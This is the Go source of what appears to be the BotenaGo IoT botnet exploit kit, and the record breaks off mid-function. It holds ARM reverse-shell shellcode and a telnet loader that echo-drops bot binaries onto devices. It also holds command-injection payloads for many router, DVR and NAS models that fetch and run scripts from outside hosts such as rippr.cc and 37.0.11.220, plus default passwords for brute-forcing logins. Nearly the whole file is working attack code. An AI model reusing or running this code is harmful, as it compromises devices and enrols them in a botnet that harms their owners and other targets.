Linux.BotenaGo.go

package main

import (
    "net"
    "time"
    "bufio"
    "fmt"
    "os"
    "sync"
    "strings"
    "strconv"
    "io/ioutil"
    "math/rand"
    "encoding/binary"
    "encoding/base64"
)

/*

Exploit kit framework 1.0.0.

Contains:
Reverse shell loader (DONE)
Telnet loader (arch detect, dir detect, echo load) (DONE)

Exploits:
UCHTTPD (DONE)
TVT-4567 (DONE)
TVT-WEB (DONE)
UNIX CCTV (DONE)
FIBERHOME ROUTER (DONE)
VIGOR ROUTER (DONE)
COMTREND ROUTER (DONE)
GPONFIBER ROUTER (DONE)
BROADCOM ROUTER (DONE)
DVRIP (DONE)
LIBDVR (DONE)
HONGDIAN ROUTER (DONE)
REALTEK MULTI ROUTER (DONE)
TENDA ROUTER (DONE)
TOTOLINK ROUTER (DONE)
ALCATEL NAS (DONE)
LILINDVR (DONE)
LINKSYS ESERIES (DONE)
*/

const (
	EI_NIDENT int = 16
	EI_DATA int = 5
	EE_LITTLE int = 1
	EE_BIG int = 2

	EM_ARM int = 40
	EM_MIPS int = 8
	EM_AARCH64 int = 183
	EM_PPC int = 20
	EM_PPC64 int = 21
	EM_SH int = 42

	DVRIP_NORESP int = 0
	DVRIP_OK int = 100
	DVRIP_FAILED int = 203
	DVRIP_UPGRADED int = 515

    echoLineLen = 128
    echoDlrOutFile = "qn_local"

    loaderTvtWebTag = "selfrep.tvt"
    loaderTvt4567Tag = "selfrep.tvt"
    loaderVigorTag = "selfrep.vigor"
    loaderComtrendTag = "selfrep.comtrend"
    loaderGponfiberTag = "selfrep.gponfiber"
    loaderFiberhomeTag = "selfrep.fiberhome"
    loaderLibdvrTag = "selfrep.libdvr"
    loaderDvripTag = "selfrep.dvrip"
    loaderUchttpdTag = "selfrep.uchttpd"
    loaderHongdianTag = "selfrep.hongdian"
    loaderTendaTag = "selfrep.tenda"
    loaderTotolinkTag = "selfrep.totolink"
    loaderZyxelTag = "selfrep.zyxel"
    loaderAlcatleTag = "selfrep.alcatel"
    loaderLilinTag = "selfrep.lilin"
	loaderLinksysTag = "selfrep.linksys"
	loaderZteTag = "selfrep.zte"
	loaderNetgearTag = "selfrep.netgear"
	loaderDlinkTag = "selfrep.dlink"

    loaderDownloadServer = "1.1.1.1" // Remote IP Of Server With Bins And Sh Files
    loaderBinsLocation = "/a/b/" // Path To Bins
    loaderScriptsLocation = "/a/" // Path To Bins
)

type elfHeader struct {
	e_ident[EI_NIDENT] int8
    e_type, e_machine int16
    e_version int32
}

type smapsRegion struct {
    region uint64
    size, pss, rss int
    shared_clean, shared_ditry int
    private_clean, private_dirty int
}

type echoDropper struct {
    payload [128]string
    payload_count int
}

var (
    netTimeout time.Duration = 30
    workerGroup sync.WaitGroup
    magicGroup sync.WaitGroup
    mode, doExploit string
    exploitMap map[string]interface{}
    dropperMap map[string]echoDropper
)

// counters
var telShells, payloadSent int

var (
	// uc exploit settings
    // should be reverse shell to same ip as loader on port 31391
    uchttpdShellCode string = "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde"
    ucRshellPort int = 31412

    // tvt exploit settings
    tvtWebPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvtWebTag
    tvt4567Payload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvt4567Tag

	// magic exploit settings
    magicPacketIds []string = []string{"\x62", "\x69", "\x6c", "\x52", "\x44", "\x67", "\x43", "\x4d"}
    magicPorts []int = []int{1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8020, 8030, 8040, 8050, 8060, 8070, 8080, 8090, 8100, 8200, 8300, 8400, 8500, 8600, 8700, 8800, 8888, 8900, 8999, 9000, 9090}
    magicPayload string = "wget http://rippr.cc/u -O-|sh;"
	
    // lilindvr payload
	lilinPayload string = "wget -O- http://" + loaderDownloadServer + "/l|sh"

	// fiberhome exploit settings
    fiberRandPort int = 1 // 0 for use below
    fiberStaticPort int = 31784
    fiberSecStrs []string = []string{"0.3123525368318707", "0.13378587435314315", "0.8071510413685209"}

	// vigor exploit settings
    vigorPayload string = "bin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F" + loaderDownloadServer + loaderBinsLocation + "bot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Dbot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Fbot.arm7%24%7BIFS%7D" + loaderVigorTag + "%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Dbot.arm7"

	// broadcom router settings
	broadcomPayload string = "$(wget%20http://" + loaderDownloadServer + "/b%20-O-|sh)"

	// hongdian router settings
	hongdianPayload string = "cd+/tmp%3Bbusybox+wget+http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh+-O-+>sfs;chmod+777+sfs%3Bsh+sfs+" + loaderHongdianTag + "%3Brm+-rf+sfs"

	// tenda router settings
	tendaPayload string = "cd%20/tmp%3Brm%20wget.sh%3Bwget%20http%3A//" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%3Bchmod%20777%20wget.sh%3Bsh%20wget.sh%20" + loaderTendaTag

	// totlink router settings
	totolinkPayload string = "wget%20http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%20-O%20-%20%3Esplash.sh%3B%20chmod%20777%20splash.sh%3B%20sh%20splash.sh%20" + loaderTotolinkTag

	// zyxel nas settings
	zyxelPayload string = "cd%20/tmp;wget%20http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%20-O-%20>s;chmod%20777%20s;sh%20s%20" + loaderZyxelTag + ";"
	zyxelPayloadTwo string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh"

	// alcatel nas settings
	alcatelPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderAlcatleTag

	// linksys router settings
	linksysPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh"
	linksysTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh"

	// zte router settings
	ztePayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh"

	// netgear router settings
	netgearPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderNetgearTag + "%3Brm+-rf+wget.sh"

	// gpon router settings
	gponOGPayload string = "wget+http%3A%2F%2F" + loaderDownloadServer + "%2Fg+-O-%7Csh%60%3Bwget+http%3A%2F%2F37.0.11.220%2Fg+-O-%7Csh"

	// dlink router settings
	dlinkTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderDlinkTag + "%3Brm+-rf+wget.sh"
	dlinkThreePayload string = "cd /tmp;wget http://" + loaderDownloadServer + "/a/wget.sh;chmod 777 wget.sh;sh wget.sh " + loaderDlinkTag + ";rm -rf wget.sh"
)

func zeroByte(a []byte) {

    for i := range a {
        a[i] = 0
    }
}

func getStringInBetween(str string, start string, end string) (result string) {

    s := strings.Index(str, start)
    if s == -1 {
        return
    }

    s += len(start)
    e := strings.Index(str, end)

    if (s > 0 && e > s + 1) {
        return str[s:e]
    } else {
        return "null"
    }
}

func randStr(strlen int) (string) {

	var b strings.Builder

    rand.Seed(time.Now().UnixNano())
    chars := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")

    for i := 0; i < strlen; i++ {
        b.WriteRune(chars[rand.Intn(len(chars))])
    }

    return b.String()
}

func hexToInt(hexStr string) (uint64) {
    cleaned := strings.Replace(hexStr, "0x", "", -1)
    result, _ := strconv.ParseUint(cleaned, 16, 64)
    return uint64(result)
}

/*        TELNET LOADER MODULE         */

func telnetLoadDroppers() {

    files, err := ioutil.ReadDir("dlrs")
    if err != nil {
        fmt.Printf("\033[1;31mError: Failed to open dlrs/\r\n")
        os.Exit(0)
    }

    for i := 0; i < len(files); i++ {
        file, err := os.OpenFile("dlrs/" + files[i].Name(), os.O_RDONLY, 0755)
        if err != nil {
            continue
        }

        mapVal := echoDropper{}
        mapVal.payload_count = 0

        for {
            var echoString string
            dataBuf := make([]byte, echoLineLen)

            length, err := file.Read(dataBuf)
            if err != nil || length <= 0 {
                break
            }

            for i := 0; i < length; i++ {
                echoByte := fmt.Sprintf("\\x%02x", uint8(dataBuf[i]))
                echoString += echoByte
            }

            if mapVal.payload_count == 0 {
                mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" > ", echoString)
            } else {
                mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" >> ", echoString)
            }

            mapVal.payload_count++
        }

        dropperMap[files[i].Name()] = mapVal
        file.Close()
    }

    fmt.Printf("\x1b[38;5;46mLoader\x1b[38;5;15m: \x1b[38;5;15mLoaded \x1b[38;5;134m%d\x1b[38;5;15m echo droppers\x1b[38;5;15m\x1b[38;5;15m\r\n", len(dropperMap))
}

func telnetHasPrompt(buffer string) (bool) {

	if strings.Contains(buffer, "#") || strings.Contains(buffer, ">") || strings.Contains(buffer, "$") || strings.Contains(buffer, "%") || strings.Contains(buffer, "@") {
		return true
	} else {
		return false
	}
}

func telnetBusyboxShell(conn net.Conn) {

	/* Looks wierd but dw its for some BCM router */
	conn.Write([]byte("sh\r\n"))
	conn.Write([]byte("..\r\n"))
	conn.Write([]byte("linuxshell\r\n"))
	/* ------------------------------------------ */

	conn.Write([]byte("enable\r\n"))
	conn.Write([]byte("development\r\n"))
	conn.Write([]byte("system\r\n"))
	conn.Write([]byte("sh\r\n"))
	conn.Write([]byte("shell\r\n"))
	conn.Write([]byte("ping ; sh\r\n"))
}

func telnetDropDropper(conn net.Conn, myarch string) (bool) {

    for arch, mapval := range dropperMap {
        splitVal := strings.Split(arch, ".")
        if len(splitVal) != 2 {
            continue
        }

        if splitVal[1] == myarch {
            query := randStr(5)
            dropper := randStr(5)
            droppedLines := 0

            for i := 0; i < mapval.payload_count; i++ {
                var rdbuf []byte = []byte("")
                complete := 0

                conn.Write([]byte(mapval.payload[i] + dropper + "; /bin/busybox " + query + "\r\n"))

                for {
                    tmpbuf := make([]byte, 128)
                    ln, err := conn.Read(tmpbuf)
                    if ln <= 0 || err != nil {
                        break
                    }

                    rdbuf = append(rdbuf, tmpbuf...)
                    if strings.Contains(string(rdbuf), ": applet not found") {
                        complete = 1
                        break
                    }
                }

                if complete == 0 {
                    return false
                }

                droppedLines++
            }

            if droppedLines == mapval.payload_count {
                var rdbuf []byte = []byte("")

                conn.Write([]byte("chmod 777 " + dropper + "; ./" + dropper + "; rm -rf " + dropper + "; /bin/busybox " + query + "\r\n"))

                for {
                    tmpbuf := make([]byte, 128)
                    ln, err := conn.Read(tmpbuf)
                    if ln <= 0 || err != nil {
                        break
                    }

                    rdbuf = append(rdbuf, tmpbuf...)
                    if strings.Contains(string(rdbuf), ": applet not found") {
                        return true
                    }
                }

                return false
            } else {
                return false
            }
        } else {
            continue
        }
    }

    return false
}

func telnetHasBusybox(conn net.Conn) (bool, string) {

	var rdbuf []byte = []byte("")

	query := randStr(6)
	resp := ": applet not found"

	conn.Write([]byte("/bin/busybox " + query + "\r\n"))
	for {
	    tmpbuf := make([]byte, 128)
		ln, err := conn.Read(tmpbuf)
		if ln <= 0 || err != nil {
		    break
		}

		rdbuf = append(rdbuf, tmpbuf...)
		if strings.Contains(string(rdbuf), resp) == true {
			index := strings.Index(string(rdbuf), "BusyBox v")
			if index == -1 {
				return true, "unknown"
			} else {
				verstr := strings.Split(string(rdbuf)[len("BusyBox v")+index:], " ")
				if len(verstr) > 0 {
					return true, verstr[0]
				} else {
					return true, "unknown"
				}
				
			}
		}
	}

	return false, "unknown"
}

func telnetWritableDir(conn net.Conn) (bool, string) {

	var rdbuf []byte
	dirs := []string{"/tmp/", "/var/tmp/", "/var/", "/mnt/", "/etc/", "/", "/dev/"}

	for i := 0; i < len(dirs); i++ {
		echoStr := randStr(4)
		conn.Write([]byte("cd " + dirs[i] + " && echo " + echoStr + "\r\n"))

		for {
		    tmpbuf := make([]byte, 128)
			ln, err := conn.Read(tmpbuf)
			if ln <= 0 || err != nil {
			    break
			}

			rdbuf = append(rdbuf, tmpbuf...)
			if strings.Contains(string(rdbuf), "can't cd") || strings.Contains(string(rdbuf), "No such file or") {
				break
			} else if strings.Contains(string(rdbuf), echoStr) {
				return true, dirs[i]
			}
		}

		zeroByte(rdbuf)
	}

	return false, "none"
}

func telnetExtractArch(conn net.Conn) (bool, string) {

	var rdbuf []byte
	var index int = -1

	conn.Write([]byte("/bin/busybox cat /bin/echo\r\n"))

	for {
		tmpbuf := make([]byte, 128)
		ln, err := conn.Read(tmpbuf)
		if ln <= 0 || err != nil {
			break
		}

		rdbuf = append(rdbuf, tmpbuf...)
		index = strings.Index(string(rdbuf), "ELF")

		if index != -1 {
			zeroByte(tmpbuf)
			ln, err := conn.Read(tmpbuf)

			if ln <= 0 || err != nil {
				break
			}

			rdbuf = append(rdbuf, tmpbuf...)
			break
		}
	}

	if index == -1 {
		return false, "none"
	}

	rdbuf = rdbuf[index:]
	elfHdr := elfHeader{}

	for i := 0; i < EI_NIDENT; i++ {
		elfHdr.e_ident[i] = int8(rdbuf[i])
	}

	elfHdr.e_type = int16(rdbuf[EI_NIDENT])
	elfHdr.e_machine = int16(rdbuf[EI_NIDENT + 2])
	elfHdr.e_version = int32(rdbuf[EI_NIDENT + 2 + 2])

	if elfHdr.e_machine == int16(EM_ARM) {
		return true, "arm"
	} else if elfHdr.e_machine == int16(EM_MIPS) {
		if elfHdr.e_ident[EI_DATA] == int8(EE_LITTLE) {
			return true, "mpsl"
		} else {
			return true, "mips"
		}
	} else if elfHdr.e_machine == int16(EM_PPC) || elfHdr.e_machine == int16(EM_PPC64) {
		return true, "ppc"
	} else if elfHdr.e_machine == int16(EM_SH) {
		return true, "sh4"
	}

	return false, ""
}

func telnetLoader(target string, dologin int, arch string, tag string) {

	var (
		rdbuf []byte = []byte("")
		loggedIn int = 0
	)

	conn, err := net.DialTimeout("tcp", target, 10 * time.Second)
    if err != nil {
        return    
    }

    if dologin == 0 {
	    for {
	    	tmpbuf := make([]byte, 128)
		    ln, err := conn.Read(tmpbuf)
		    if ln <= 0 || err != nil {
		    	break
		    }

		    rdbuf = append(rdbuf, tmpbuf...)
		    if telnetHasPrompt(string(rdbuf)) == true {
		    	loggedIn = 1
		    	break
		    }
	    }
	}

    zeroByte(rdbuf)
	if loggedIn == 0 {
		conn.Close()
		return
	}

	fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m shell found on device\x1b[38;5;15m\x1b[38;5;15m\r\n", target)
	telnetBusyboxShell(conn)

	has, ver := telnetHasBusybox(conn)
	if has == false {
		conn.Close()
		return
	}

	fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m device is running busybox version \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver)
    telShells++

	has, dir := telnetWritableDir(conn)
	if has == false {
		conn.Close()
		return
	}

	fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s\x1b[38;5;15m found writable directory \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver, dir)

    has, _ = telnetHasBusybox(conn)
    if has == false {
        conn.Close()
        return
    }

	fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s:%s\x1b[38;5;15m extracted arch \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver, dir, arch)
    
    dropped := telnetDropDropper(conn, arch)
    if dropped == false {
        conn.Close()
        return
    }

    fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s:%s:%s\x1b[38;5;15m finnished echo loading\x1b[38;5;15m\r\n", target, ver, dir, arch)
    
    binName := randStr(6)
    conn.Write([]byte("/bin/busybox cat " + echoDlrOutFile + " > " + binName + "; chmod 777 " + binName + "; ./" + binName + " " + tag + "\r\n"))
    // Done?
    time.Sleep(5 * time.Second)  
    conn.Close()
    return   
}

/* ------ END OF TELNET LOADER ------- */

/* ------ OTHER PROTOCOL STUFF ------- */

func reverseShellUchttpdLoader(conn net.Conn) {

	var (
		rdbuf []byte = []byte("")
		query string = randStr(5)
	)

	conn.Write([]byte(">/tmp/.h && cd /tmp/\r\n"))
	conn.Write([]byte(">/mnt/.h && cd /mnt/\r\n"))
	conn.Write([]byte(">/var/.h && cd /var/\r\n"))
	conn.Write([]byte(">/dev/.h && cd /dev/\r\n"))
	conn.Write([]byte(">/var/tmp/.h && cd /var/tmp/\r\n"))
	conn.Write([]byte("/bin/busybox " + query + "\r\n"))

	for {
		tmpbuf := make([]byte, 128)
		ln, err := conn.Read(tmpbuf)
		if ln <= 0 || err != nil {
			conn.Close()
			return
		}

		rdbuf = append(rdbuf, tmpbuf...)
		if strings.Contains(string(rdbuf), ": applet not found") {
			break
		}
	}

	zeroByte(rdbuf)
	
    dropped := telnetDropDropper(conn, "arm7")
    if dropped == false {
        conn.Close()
        return
    }

    fmt.Printf("\x1b[38;5;46mUchttpd\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", conn.RemoteAddr())
    payloadSent++
    binName := randStr(6)
    conn.Write([]byte("/bin/busybox cat " + echoDlrOutFile + " > " + binName + "; chmod 777 " + binName + "; ./" + binName + " " + loaderUchttpdTag + ";\r\n"))
	conn.Write([]byte("/var/Sofia 2>/dev/null &\r\n"))
	return
}

func infectFunctionTvt4567(conn net.Conn) {

    var (
        rdbuf []byte = []byte("")
        state = 0
    )

    payload := "\x0c\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x21\x00\x02\x00\x01\x00\x04\x00\x50\x02\x00\x00\x50\x02\x00\x00\x00\x00\x00\x00\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x75\x74\x66\x2d\x38\x22\x3f\x3e\x3c\x72\x65\x71\x75\x65\x73\x74\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x73\x79\x73\x74\x65\x6d\x54\x79\x70\x65\x3d\x22\x4e\x56\x4d\x53\x2d\x39\x30\x30\x30\x22\x20\x63\x6c\x69\x65\x6e\x74\x54\x79\x70\x65\x3d\x22\x57\x45\x42\x22\x3e\x3c\x74\x79\x70\x65\x73\x3e\x3c\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x3e\x3c\x65\x6e\x75\x6d\x3e\x72\x65\x66\x75\x73\x65\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x61\x6c\x6c\x6f\x77\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x2f\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x65\x6e\x75\x6d\x3e\x69\x70\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x69\x70\x72\x61\x6e\x67\x65\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x6d\x61\x63\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x2f\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x2f\x74\x79\x70\x65\x73\x3e\x3c\x63\x6f\x6e\x74\x65\x6e\x74\x3e\x3c\x73\x77\x69\x74\x63\x68\x3e\x74\x72\x75\x65\x3c\x2f\x73\x77\x69\x74\x63\x68\x3e\x3c\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x20\x74\x79\x70\x65\x3d\x22\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x22\x3e\x72\x65\x66\x75\x73\x65\x3c\x2f\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x3e\x3c\x66\x69\x6c\x74\x65\x72\x4c\x69\x73\x74\x20\x74\x79\x70\x65\x3d\x22\x6c\x69\x73\x74\x22\x3e\x3c\x69\x74\x65\x6d\x54\x79\x70\x65\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x20\x74\x79\x70\x65\x3d\x22\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x22\x2f\x3e\x3c\x2f\x69\x74\x65\x6d\x54\x79\x70\x65\x3e\x3c\x69\x74\x65\x6d\x3e\x3c\x73\x77\x69\x74\x63\x68\x3e\x74\x72\x75\x65\x3c\x2f\x73\x77\x69\x74\x63\x68\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x69\x70\x3c\x2f\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x69\x70\x3e\x24\x28"
    payload += tvt4567Payload
    payload += "\x3c\x2f\x69\x70\x3e\x3c\x2f\x69\x74\x65\x6d\x3e\x3c\x2f\x66\x69\x6c\x74\x65\x72\x4c\x69\x73\x74\x3e\x3c\x2f\x63\x6f\x6e\x74\x65\x6e\x74\x3e\x3c\x2f\x72\x65\x71\x75\x65\x73\x74\x3e\x00"
    payload = base64.StdEncoding.EncodeToString([]byte(payload))

    cntlen := strconv.Itoa(len(payload))

    conn.Write([]byte("{D79E94C5-70F0-46BD-965B-E17497CCB598}"))

    for {
        tmpbuf := make([]byte, 128)
        ln, err := conn.Read(tmpbuf)
        if ln <= 0 || err != nil {
            break
        }

        rdbuf = append(rdbuf, tmpbuf...)
        if strings.Contains(string(rdbuf), "{D79E94C5-70F0-46BD-965B-E17497CCB598}") && state != 1 {
            conn.Write([]byte("GET /saveSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length: " + cntlen + "\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 2\r\n\r\n" + payload + "\r\n\r\n"))
            zeroByte(rdbuf)
            state = 1
            continue
        } else if strings.Contains(string(rdbuf), "200") && state == 1 {
            fmt.Printf("\x1b[38;5;46mTvt-4567\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", conn.RemoteAddr().String())
            conn.Close()
            payloadSent++
            return
        }
    }

    conn.Close()
}

func infectFunctionMagicProto(target string) {

    var (
        rdbuf []byte = []byte("")
        state = 0
    )

    conn, err := net.DialTimeout("tcp", target, 10 * time.Second)
    if err != nil {
        magicGroup.Done()
        return
    }

    payloadOne := "\x5a\xa5\x06\x15\x00\x00\x00\x98\x00\x00\x00"
    payloadTwo := "\x00\x00\x00\x00\x00\x00\x00\x00\x47\x4d\x54\x2b\x30\x39\x3a\x30\x30\x20\x53\x65\x6f\x75\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x74\x69\x6d\x65\x2e\x6e\x69\x73\x74\x2e\x67\x6f\x76\x26"
    payloadThree := "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"

    conn.Write([]byte("\x5a\xa5\x01\x20\x00\x00\x00\x00"))

    for {
        tmpbuf := make([]byte, 128)
        ln, err := conn.Read(tmpbuf)
        if ln <= 0 || err != nil {
            break
        }

        rdbuf = append(rdbuf, tmpbuf...)
        if state == 0 && len(rdbuf) >= 4 && string(rdbuf[:4]) == "\x5a\xa5\x01\x20" {
            conn.Close()

            conn, err = net.DialTimeout("tcp", target, 10 * time.Second)
            if err != nil {
                magicGroup.Done()
                return 
            }

            payload := payloadOne
            payload += magicPacketIds[state]
            payload += payloadTwo
            payload += magicPayload + "f"
            payload += payloadThree

            conn.Write([]byte(payload))
            state++
            zeroByte(rdbuf)
            continue
        } else if state >= 1 {
            conn.Close()

            if state == 8 {
                fmt.Printf("\x1b[38;5;46mMagic\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m potential payload sent to device\x1b[38;5;15m\r\n", target)
                payloadSent++
                magicGroup.Done()
                return
            }
            conn, err = net.DialTimeout("tcp", target, 10 * time.Second)
            if err != nil {
                magicGroup.Done()
                return 
            }

            payload := payloadOne
            payload += magicPacketIds[state]
            payload += payloadTwo
            payload += magicPayload + "f"
            payload += payloadThree
            
            conn.Write([]byte(payload))
            state++
            zeroByte(rdbuf)
            continue
        }
    }

    conn.Close()
    magicGroup.Done()
    return
}

func infectFunctionLibdvrProto(host string, attempt int) (int, error, string, int) {

	var gotAdmin int = 0
	var gotShell int = 0
	var password string
	var rInt int = 0

	rInt = rand.Intn(9999 - 9000) + 9000

    conn, err := net.DialTimeout("tcp", host, time.Duration(10) * time.Second)
    if err != nil {
        return 0, nil, "", 0
    }

    defer conn.Close()
    conn.SetWriteDeadline(time.Now().Add(6 * time.Second))
    _, err = conn.Write([]byte("/bin/busybox BOXOFABOX\n"))
    if err != nil {
    	conn.Close()
        return 0, nil, "", 0
    }

    conn.SetReadDeadline(time.Now().Add(6 * time.Second))

    first_buf := make([]byte, 256)
    l, err := conn.Read(first_buf)
    if err != nil || l <= 0 {
        conn.Close()
        return 0, nil, "", 0
    }

    if strings.Contains(string(first_buf), "user name") || strings.Contains(string(first_buf), "username") {
		_, err = conn.Write([]byte("admin\n"))
		if err != nil {
			conn.Close()
		    return 0, nil, "", 0
		}
    } else {
    	if strings.Contains(string(first_buf), "BOXOFABOX: applet not found") {
    		gotShell = 1
    	} else {
		    _, err = conn.Write([]byte("\n"))
		    if err != nil {
		    	conn.Close()
		        return 0, nil, "", 0
		    }

		    conn.SetReadDeadline(time.Now().Add(3 * time.Second))
		    first_buf := make([]byte, 256)
		    l, err := conn.Read(first_buf)
		    if err != nil || l <= 0 {
		        conn.Close()
		        return 0, nil, "", 0
		    }

		    if !strings.Contains(string(first_buf), "user name") && !strings.Contains(string(first_buf), "username") {
		    	if strings.Contains(string(first_buf), "admin$") {
		    		gotAdmin = 1
		    	} else {
		    		conn.Close()
		    		return 0, nil, "", 0
		    	}
		    } else {
			    _, err = conn.Write([]byte("admin\n"))
			    if err != nil {
			    	conn.Close()
			        return 0, nil, "", 0
			    }
		    }
    	}
    }

   	if gotAdmin != 1 && gotShell != 1 {
	    conn.SetReadDeadline(time.Now().Add(3 * time.Second))
	    second_buf := make([]byte, 256)
	    l2, err := conn.Read(second_buf)
	    if err != nil || l2 <= 0 {
	        conn.Close()
	        return 0, nil, "", 0
	    }

	    if strings.Contains(string(second_buf), "pass word") || strings.Contains(string(second_buf), "password") {
	    	if attempt == 0 {
	    		password = "I0TO5Wv9"
	    	} else if attempt == 1 {
	    		password = "123456"
	    	} else if attempt == 2 {
	    		password = "admin"
	    	}

		    _, err = conn.Write([]byte(password + "\n"))
		    if err != nil {
		    	conn.Close()
		        return 0, nil, "", 0
		    }

		    conn.SetReadDeadline(time.Now().Add(3 * time.Second))
		    second_buf := make([]byte, 1024)
		    l, err := conn.Read(second_buf)
		    if err != nil || l <= 0 {
		        conn.Close()
		        return 0, nil, "", 0
		    }

		    if strings.Contains(string(second_buf), "admin$") {
		    	gotAdmin = 1
		    } else {
